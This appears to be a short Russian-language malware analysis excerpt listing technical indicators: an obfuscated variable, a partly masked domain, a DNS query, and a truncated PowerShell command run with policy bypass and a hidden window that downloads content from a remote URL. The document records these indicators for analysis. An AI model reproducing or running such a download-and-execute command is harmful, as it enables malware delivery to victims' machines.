Техническая информация
- $xfbpylfrxtqnovblrjwtcupixplwellti
- 'br###scala.com':443
- DNS ASK br###scala.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Ex Bypass -NoP -C $xfbpylfRXtQNoVbLrjwTCupIxPLwElLtI='https://briefscala.com/data.php?12441';$hKQDXKKSGHFWrP=(New-Object System.Net.WebClient).DownloadString($xfbpylfRXtQNoVbLrjwTCupIxPLwElLtI...' (со скрытым окном)